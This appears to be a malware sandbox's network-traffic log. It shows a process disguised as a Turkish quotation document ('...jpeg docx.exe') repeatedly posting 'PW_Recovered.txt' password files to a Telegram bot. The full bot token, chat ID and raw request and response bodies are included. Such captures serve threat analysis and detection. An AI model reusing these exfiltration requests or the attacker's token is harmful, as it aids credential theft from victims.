2025-01-06 12:57:47 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd302b3c9ecbed Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:47 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 32 62 33 63 39 65 63 62 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd302b3c9ecbedContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:47 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:48 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27645,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168267,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	62544	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:48 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd30396bf011cf Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:48 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 33 39 36 62 66 30 31 31 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd30396bf011cfContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:49 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:49 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27647,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168269,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	62545	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:50 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd304a27896220 Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:50 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 34 61 32 37 38 39 36 32 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd304a27896220Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:50 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:50 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27649,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168270,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	62546	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:51 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd305ad978cf93 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:51 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 35 61 64 39 37 38 63 66 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd305ad978cf93Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:51 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:51 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27651,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168271,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	62547	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:52 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd306a3c0d4f7c Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:52 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 36 61 33 63 30 64 34 66 37 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd306a3c0d4f7cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:53 GMT Content-Type: application/json Content-Length: 533 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:53 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27653,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168273,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	62548	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:53 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3087a61bdc66 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:57:53 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 38 37 61 36 31 62 64 63 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3087a61bdc66Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:54 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:54 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 34 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27655,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168274,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	62549	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:54 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd309ac7fa304c Host: api.telegram.org Content-Length: 584
2025-01-06 12:57:54 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 30 39 61 63 37 66 61 33 30 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd309ac7fa304cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:57:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:57:55 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:57:55 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 35 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 32 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27657,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168275,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	62550	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:57:55 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd30ab56502dec Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
